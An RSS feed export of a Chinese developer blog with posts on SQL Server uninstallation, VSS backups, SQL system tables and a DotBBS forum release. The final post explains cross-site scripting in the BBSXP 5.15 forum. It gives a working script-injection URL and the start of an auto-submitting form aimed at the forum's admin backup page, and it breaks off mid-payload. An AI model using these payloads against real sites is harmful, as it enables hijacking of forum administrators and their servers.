<br />
如果您已卸载 SQL Server Reporting Services，则必须执行下列任务： </p>
<table class="list ul" border="0">
    <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">
            <h5 id="tocHeadRef">删除 Reporting Services 虚拟目录</h5>
            <script type="text/javascript"><!-- loadTOCNode(4, 'moreinformation');
// --></script>使用 Microsoft Internet 信息服务 (IIS) 管理器删除以下虚拟目录：
            <table class="list ul" border="0">
                <tr>
                        <td class="bullet">&#8226;</td>
                        <td class="text">ReportServer[$<var>InstanceName</var></td>
                    </tr>
                    <tr>
                        <td class="bullet">&#8226;</td>
                        <td class="text">Reports[$<var>InstanceName</var></td>
                    </tr>
                </table>
            </td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">
            <h5 id="tocHeadRef">删除 ReportServer 应用程序池</h5>
            <script type="text/javascript"><!-- loadTOCNode(4, 'moreinformation');
// --></script>使用 IIS Manager 删除 ReportServer 应用程序池。</td>
        </tr>
    </table>
<p>&nbsp;</p>
<p><strong>然后在&#8220;添加或删除程序&#8221;中，按照顺序删除以下你所装有的SQL Server 2005组件</strong></p>
<table class="list ul" border="0">
    <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 2005</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 2005 Analysis Services</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 2005 Reporting Services</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 2005 Notification Services</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 2005 Integration Services</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 2005 Tools</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 2005 联机图书</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">MSXML 6.0 Parser</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQLXML4</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server VSS Writer</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 2005 Backward Compatibility</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">与 SQL Server 2005 有关的任何其他内容</td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server Native Client </td>
        </tr>
        <tr>
            <td class="bullet">&#8226;</td>
            <td class="text">SQL Server 安装支持文件</td>
        </tr>
    </table>
<p>&nbsp;</p>
<p><strong>我想说的最后一招，也算是必杀技的，是下载一个小工具</strong> <a href="http://download.microsoft.com/download/e/9/d/e9d80355-7ab4-45b8-80e8-983a48d5e1bd/msicuu2.exe">Windows Installer 清理实用工具</a></p>
<p>安装过之后，选择所有关于SQL Server的程序，Remove掉即可！（注意不要多选，这里列出了所有它可以清除的程序）</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1390701.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47995/" target="_blank">Google Voice 上手</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>设为首页，加入收藏代码</title><link>http://www.cnblogs.com/aqiang/archive/2009/02/14/1390460.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Sat, 14 Feb 2009 02:14:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/02/14/1390460.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1390460.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/02/14/1390460.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1390460.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1390460.html</trackback:ping><description><![CDATA[&lt;a target="_self" href="<a href="http://www.xitieshi.cn/">http://www.xitieshi.cn/</a>" onclick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.xitieshi.cn/');" class="S_home" title="把吸铁石网设为首页" style="color:#0066CC"&gt;设为首页&lt;/a&gt; | &lt;a href="javascript:window.external.AddFavorite('http://www.xitieshi.cn','吸铁石网--网站建设领先品牌')" style="color:#0066CC"&gt;加入收藏&lt;/a&gt;
<img src ="http://www.cnblogs.com/aqiang/aggbug/1390460.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47995/" target="_blank">Google Voice 上手</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>利用VSS进行备份和恢复</title><link>http://www.cnblogs.com/aqiang/archive/2009/01/03/1367647.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Sat, 03 Jan 2009 13:50:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/01/03/1367647.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1367647.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/01/03/1367647.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1367647.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1367647.html</trackback:ping><description><![CDATA[卷影拷贝服务（Volume Shadow Copy Service，VSS）是Microsoft在Windows Server 2003中开始引入的服务，它能让用户在没有IT专业人员协助的情况下，更轻松地恢复丢失的文件。此外，VSS还提供了更灵活的备份方案。下面我们将进一步学习：
<p>　　在Windows Server 2003中，Microsoft为不同规模的企业开发了很多新的服务。在我看来，Microsoft已经开始关注灾难恢复背后的庞大市场了。其在灾难恢复中最重要的新技术要数在Windows Server 2003中引入的卷影拷贝服务（Volume Shadow Copy Service，VSS）了。 </p>
<p>　　VSS能做些什么</p>
<p>　　你可以通过使用VSS，在特定卷上建立数据拷贝时间点；并在将来的某一时刻把数据恢复到任何一个你曾创建的时间点的状态。这两个Microsoft大肆吹捧的主要功能可以帮助客户的计算机恢复意外删除的文件，这样的工作即使一般员工也能轻松完成，并且不需要创建高效备份策略的能力。 </p>
<p>　　对于IT技术支持人员来说，最常见的请求一般是恢复人为原因造成的数据丢失。用户不经意地存储了有错误信息的文件，不小心删除文件，或是其他的数据意外，都是经常发生的。</p>
<p>　　当用户需要重新找回数据的时候，经常需要请技术支持人员拔出备份磁带，进行人工恢复，这个工作相当浪费时间。</p>
<p>　　VSS让管理员能够在服务器上发布共享文件夹，在一定的时间间隔内做时间点的备份（在指定时间内最多可以存在65份拷贝）。这让最终用户能够安全地处理文件并随时恢复到早前的版本，而不需要IT部门的干涉。</p>
<p>　　应当考虑的VSS问题</p>
<p>　　这一服务唯一的缺点是你需要为每一个卷影留出更多的磁盘空间，因为你必须在某处存储这些拷贝。不过，因为VSS使用指针数据，这些拷贝占用的空间要比你想像的小得多，你可以有效地存储这些拷贝。</p>
<p>　　你还可以将复制与备份工具和VSS配合使用，来将拷贝移动到另一个VSS——其他站点的可用服务器。因此，如果原始服务器在灾难中崩溃了，你的最终用户还是可以访问他们的数据。由于VSS在一定时间间隔内做一次快照，并且在母文件使用时并不锁定它们，因此开放文件锁定并不会影响到复制与备份工具。</p>
<p>　　除了复制开放文件以外，你还可以在最终用户处理文件的时候备份VSS快照。这一功能通过消除备份窗口、开放文件锁定和其他的障碍，显著地提高了备份能力。</p>
<p>　　你或许还将遭遇CPU利用问题（在运行备份代理的时候）和LAN利用问题（在跨越网络进行数据备份的时候），不过这并不妨碍最终用户使用文件。</p>
<p>　　备份VSS快照产生干净的数据镜像以及恢复时间点拷贝的能力。你既可以恢复整个快照，也可以取你所需，或者你还可以使用VSS备份工具来恢复单独的文件和文件夹。</p>
<p>　　因为你基于时间点来备份文件拷贝，所以可以很轻松的使用复制工具即时地将VSS快照移动到另一台灾难恢复站点中的服务器上，并在那里进行备份，创建脱站的缺省备份。需要将备份保存在脱站位置的公司会发现实施灾难恢复（DR）系统变得相当简单，而且备份系统能平滑地协同工作。</p>
<p>　　结语</p>
<p>　　结合了良好的规划以及最新的备份和恢复技术，卷影拷贝服务将对灾难恢复计划的增强很有帮助。VSS甚至让小企业也有恢复丢失数据的能力。其实，VSS还为大企业提供比基本工具更多的恢复选项，并帮助其减少数据恢复任务中IT专业人员的数量。</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1367647.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47994/" target="_blank">Google号召社区力量为互联网加速</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>DotBBSV1.1.0发布了</title><link>http://www.cnblogs.com/aqiang/archive/2009/01/02/1366833.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Fri, 02 Jan 2009 01:35:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/01/02/1366833.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1366833.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/01/02/1366833.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1366833.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1366833.html</trackback:ping><description><![CDATA[<p><a href="http://www.dotbbs.net/bbs/topic-85.aspx">DotBBSV1.1.0</a>&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p><a style="color: red" href="http://www.dotbbs.net/bbs/topic-88.aspx">系统源码下载</a></p>
<p>DotBBS是一个Asp.Net开源论坛,轻量、安全、易扩展、易整合.<br />
技术支持:http://www.dotbbs.net,QQ:27029363，EMail:dongfang106@gmail.com</p>
<p>-----------新增功能及改进-------------------------------------------------</p>
<p>1 解决不能显示大写字母问题.</p>
<p>2 加入Url转发功能,提高SEO.</p>
<p>-----------功能介绍-------------------------------------------------------</p>
<p>1 DotBBS采用轻量级三层结构架构，更容易扩展.</p>
<p>2 采用独创的随机加密模式，让密码更安全.</p>
<p>3 采用缓存技术，让系统性能大幅提高.</p>
<p>4 支持RSS订阅.</p>
<p>5 下载就可使用，可与其他系统轻松整合.</p>
<p>6 采用sql过滤，Js过滤，防止sql注入.</p>
<p>7 Cookie采用随机加密技术，让用户信息更安全.</p>
<p>8 采用Ajax技术，大幅提高用户感受.</p>
<p>9 支持Url转发，提高SEO.</p>
<p>-----------运行环境-------------------------------------------------------</p>
<p>1 .Net Framework2.0</p>
<p>2 IIS5.0以上版本</p>
<p>3 Access2000以上版本</p>
<p>-----------版权信息-------------------------------------------------------</p>
<p>1 DotBBS版权(界面及程序)归吸铁石团队(水煮鱼),http://www.dotbbs.net所有,所有个人，及非赢利机构可免费使用.</p>
<p>2 所有个人、及非赢利机构可在本源码基础上扩展使用，禁止对本源码修改后重新发布.</p>
<p>3 所有使用者必须保留本系统的版权信息，及链接.</p>
<p>-----------免责声明-------------------------------------------------------</p>
<p>1 当您的网站使用本论坛后，您论坛内容中所涉及的一切法律责任均与DotBBS无关.</p>
<p>&nbsp;</p>
<p><a href="http://www.dotbbs.net/bbs/topic-88.aspx">系统源码下载</a></p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1366833.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47989/" target="_blank">Twitter无处不在 魔兽世界Twitter发送器插件发布</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>Sql server系统表</title><link>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364665.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Mon, 29 Dec 2008 09:16:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364665.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1364665.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364665.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1364665.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1364665.html</trackback:ping><description><![CDATA[1.SysObject:<br />
&nbsp; 存放数据库中的各个对象!<br />
&nbsp; 最重字段<br />
&nbsp;&nbsp; 1.1 Name,Id,Crdate,Xtype (U :用户表,V:视图，Tr:触发器,P:存储过程,S,系统表)
<p>&nbsp;&nbsp; 1.2 常用函数 Object_ID('对象名'),Object_Name&nbsp; <br />
&nbsp;&nbsp; 此外我们如果想生成1,2,3,4,5这样的等差数列，可以这样做<br />
&nbsp;&nbsp; Select Identity(int,1,1) As Id Into # From SysObjects,SysColumns&nbsp;&nbsp; <br />
2.SysColumns<br />
&nbsp; 存放各列的信息<br />
&nbsp; 最重字段 <br />
&nbsp;&nbsp; 2.1 Name,Id,Colid--字段在表中存放的顺序<br />
&nbsp;&nbsp; 设一个表中字段有很多，想列出某表除某字段外的所有字段，可以这样写<br />
&nbsp;&nbsp; Declare @Fields Varchar(5000)<br />
&nbsp;&nbsp; Select @Fields=@Fields+Name <br />
&nbsp;&nbsp; From SysColumns<br />
&nbsp;&nbsp; Where Id=Object_ID('Test') and Name Not In ('字段1','字段2')<br />
&nbsp;&nbsp; 又如如何用列序号选择特定列<br />
&nbsp;&nbsp; Create Function F_ColumnOrder(@TableName Varchar(10),@Colid Int)<br />
&nbsp;&nbsp; Returns Table<br />
&nbsp;&nbsp; As<br />
&nbsp;&nbsp; Return<br />
&nbsp;&nbsp; Select Name From SysColumns<br />
&nbsp;&nbsp; Where ID=Object_ID(@TableName) And <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#67;&#111;&#108;&#105;&#100;&#61;&#64;&#67;&#111;&#108;&#105;&#100;"><font color="#1d58d1">Colid=@Colid</font></a><br />
--Try<br />
Select * From Dbo.F_ColumnOrder('Users',2)<br />
&nbsp;&nbsp; <br />
3.SysFiles<br />
&nbsp; 如果我们想知道SQL的数据文件存放目录的话，可以用<br />
&nbsp; Select FileName From SysFiles <br />
4.SysComments<br />
&nbsp; 保存视图或存储过程的语句！<br />
5.Sysforeignkeys<br />
&nbsp; fkeyid:外键表对象ID，rKeyid：主键表对象ID<br />
有时我们想把数据库中的所有表都去掉，但是有约束的存在，有些表必须在主表前删除，否则就会报错，</p>
<p>这种情况下我们就通过该表来实现<br />
**********************************************************<br />
Master表中的系统表<br />
SysDataBases<br />
&nbsp; 重要字段<br />
&nbsp;&nbsp;&nbsp; 1.1 Name,Dbid,Crdate<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 常用函数 DB_ID('数据库名')<br />
sysaltfiles<br />
&nbsp;&nbsp;&nbsp; 保存各个数据库的MDF文件的物理地址<br />
SysProcesses<br />
&nbsp;&nbsp;&nbsp; 保存进程信息<br />
&nbsp;&nbsp;&nbsp; Kill&nbsp; spid 杀掉某进程</p>
5.注意sp_MsForEachTable函数<br />
&nbsp; 删除某数据库中表<br />
&nbsp;&nbsp; Exec Sp_MsForEachTable 'Truncate Table ?'<br />
&nbsp;&nbsp; 注意：有约束的不能删除，会出错的 <br />
6.如果想改系统表怎么办？<br />
&nbsp; 2种方法<br />
&nbsp;&nbsp;&nbsp; 1.通过查询分析器改<br />
&nbsp;&nbsp;&nbsp; 用如下语句：<br />
&nbsp;&nbsp;&nbsp;&nbsp; Exec Sp_Configure 'allow updates',1--允计修改<br />
&nbsp;&nbsp;&nbsp;&nbsp; Reconfigure with override<br />
&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; Exec Sp_Configure 'allow updates',0--不允计修改<br />
&nbsp;&nbsp;&nbsp;&nbsp; Reconfigure with override&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 2.通过企业管理器改<br />
&nbsp;&nbsp;&nbsp;&nbsp; 在SQL实例上右键-属性-允计修改系统目录直接进行修改<br />
<img src ="http://www.cnblogs.com/aqiang/aggbug/1364665.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47988/" target="_blank">Firefox 3.5匆忙推出漏洞多 Mozilla本月将更新</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>SQL中ntext类型字段的替换</title><link>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364653.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Mon, 29 Dec 2008 09:06:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364653.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1364653.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364653.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1364653.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1364653.html</trackback:ping><description><![CDATA[方法一(推荐)：<br />
update tablename set fieldA=replace(cast(fieldA as varchar(8000)) ,'aa','bb')这样的语句。<br />
SQL中replace替换ntext,text字段部分内容使用说明：replace(cast(fieldA as varchar(8000)) ,'aa','bb')<br />
<br />
大众替换普通字段方法<br />
Update&nbsp;&nbsp;&nbsp;&nbsp;famous_cuncuntong SET page = REPLACE(page,'aa','bb')<br />
<br />
<br />
方法二：<br />
支持text字段处理的仅有:下面的函数和语句可以与 ntext、text 或 image 数据一起使用。<br />
函数 语句 <br />
DATALENGTH READTEXT <br />
PATINDEX SET TEXTSIZE <br />
SUBSTRING UpdateTEXT <br />
TEXTPTR WRITETEXT <br />
TEXTVALID<br />
<br />
主题：text字段<br />
1:替换<br />
<br />
--创建数据测试环境<br />
create table #tb(aa text)<br />
insert into #tb select 'abc123abc123,asd'<br />
<br />
--定义替换的字符串<br />
declare @s_str varchar(8000),@d_str varchar(8000)<br />
select @s_str='123' --要替换的字符串<br />
,@d_str='000'--替换成的字符串<br />
<br />
--字符串替换处理<br />
declare @p varbinary(16),@postion int,@rplen int<br />
select @p=textptr(aa),@rplen=len(@s_str),@postion=charindex(@s_str,aa)-1 from #tb<br />
while @postion&gt;0<br />
begin<br />
updatetext #tb.aa @p @postion @rplen @d_str<br />
select @postion=charindex(@s_str,aa)-1 from #tb<br />
end<br />
<img src ="http://www.cnblogs.com/aqiang/aggbug/1364653.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47988/" target="_blank">Firefox 3.5匆忙推出漏洞多 Mozilla本月将更新</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>DotBBSV1.0开源Asp.Net论坛系统</title><link>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364247.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Mon, 29 Dec 2008 01:25:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364247.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1364247.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/12/29/1364247.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1364247.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1364247.html</trackback:ping><description><![CDATA[<div><a href="http://www.dotbbs.net/">DotBBSV1.0</a></div>
<div>DotBBS是一个Asp.Net开源论坛,轻量、安全、易扩展、易整合.<br />
技术支持:http://www.dotbbs.net</div>
<div>########功能介绍##################################################################################</div>
<div>1 DotBBS采用轻量级三层结构架构，更容易扩展.</div>
<div>2 采用独创的随机加密模式，让密码更安全.</div>
<div>3 采用缓存技术，让系统性能大幅提高.</div>
<div>4 支持RSS订阅.</div>
<div>5 下载就可使用，可与其他系统轻松整合.</div>
<div>6 采用sql过滤，Js过滤，防止sql注入.</div>
<div>7 Cookie采用随机加密技术，让用户信息更安全.</div>
<div>8 采用Ajax技术，大幅提高用户感受.</div>
<div>########运行环境##################################################################################</div>
<div>1 .Net Framework2.0</div>
<div>2 IIS5.0以上版本</div>
<div>3 Access2000以上版本</div>
<div>&nbsp;</div>
<div><a href="http://www.dotbbs.net/downloads/dotbbsv1.0_code.rar"><a href="http://files.cnblogs.com/aqiang/dotbbsv1.0_code.rar">
<div><a href="http://www.dotbbs.net/downloads/dotbbsv1.0_code.rar">下载地址</a></div>
</a></a>&nbsp;</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1364247.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47988/" target="_blank">Firefox 3.5匆忙推出漏洞多 Mozilla本月将更新</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>DotBBSV1.0发布，欢迎使用</title><link>http://www.cnblogs.com/aqiang/archive/2008/12/28/1363988.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Sun, 28 Dec 2008 07:42:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/12/28/1363988.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1363988.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/12/28/1363988.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1363988.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1363988.html</trackback:ping><description><![CDATA[<p><a href="http://www.dotbbs.net">DotBBSV1.0</a>发布，Asp.net社区系统，欢迎使用!</p>
<p>开源，安全，易扩展，易整合．</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1363988.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47987/" target="_blank">预测：Twitter最可能收购的十家公司</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>javascript脚本跨站攻击与预防</title><link>http://www.cnblogs.com/aqiang/archive/2008/12/04/1347775.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Thu, 04 Dec 2008 09:39:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/12/04/1347775.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1347775.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/12/04/1347775.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1347775.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1347775.html</trackback:ping><description><![CDATA[<font size="2">所谓<strong>跨站漏洞</strong>呢？其实这和现在比较热门的<strong>SQL注入</strong>的原理有异曲同工之处，都是由于程序员在写程序的时候对一些变量没有做充分的过滤，或者没做任何的过滤就直接把用户提交的数据送到SQL语句里执行，这样导致了用户<font face="Verdana">所提交的一些特意构造的语句 一般都是带有象JAVAScript等这类脚本代码，这样在服务里一旦被执行就形成了所谓的跨站攻击了。一般来说对于人机交互行比较高的程序，比如论坛，留言版这类程序都比较容易存在跨站script攻击。 </font></font>
<p><font size="2">　　<font face="Verdana"> 如何判断一个程序是否存在跨站漏洞呢？分析程序是最直接的方法了，比如最近搞的很火的BBSXP5.15的跨站 </font></font></p>
<p><font size="2">　　<font face="Verdana">漏洞，因为有大虾已经详细的介绍了，偶也就不在详述了，简单的说一下在cookies.asp文件里有这么一句 </font></font></p>
<p><font size="2">　　<font face="Verdana">Response.Cookies("skins")=""&amp;Request("no")&amp;""然后在setup.asp里 </font></font></p>
<p><font size="2">　　</font><font face="Verdana" size="2">response.write "&lt;html&gt;&lt;head&gt;&lt;meta http-equiv=Content-Type content=text/html;charset=gb2312&gt;&lt;/head&gt; <br />
&lt;link href=images/skins/"&amp;Request.Cookies("skins")&amp;"/bbs.css rel=stylesheet&gt;&lt;script src=inc/BBSxp.js&gt;&lt;/script&gt; <br />
&lt;script src=inc/ybb.js&gt;&lt;/script&gt;&lt;script src=images/skins/"&amp;Request.Cookies("skins")&amp;"/bbs.js&gt;&lt;/script&gt;" </font></p>
<font face="Verdana">
<p><font size="2">　　我们可以看到，只要构造符合条件的skin的NO，然后在闭合前面的一个"&lt;"接着就可以在后面加上我们的&lt;script脚本了 </font></p>
<p><font size="2">　　比如： http://xxx.xxxx.xxx/cookies.asp?menu=skins&amp;no=4&gt;&lt;script&gt;document.write(&#8217;&lt;IFRAME marginWidth=100 marginHeight=100 src="http://www.baidu.com"frameBorder=100width=0scrolling=noheight=0to ... gin="0"&gt;&lt;/IFRAME&gt;&#8217;);&lt;/script&gt;&lt;script&gt; </font></p>
<p><font size="2">　　这样提交就可以达到我们的跨站目的了，（这个我动画里已经有演示了） </font></p>
<p><font size="2">　　而跟深一层的利用，我们则可以构造表单，迷惑管理员点我们的帖子，或者联接。比如我们构造</font></p>
<p><font size="2">　　http://127.0.0.1/bbsxp/page2.asp?username=&lt;body onload="javascript:document.forms[0].submit()"&gt; </font></p>
<p><font size="2">　　&lt;form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"&gt; <br />
&lt;input value="/UploadFile/2005-5/200512365.jpg" name="yl" &gt; <br />
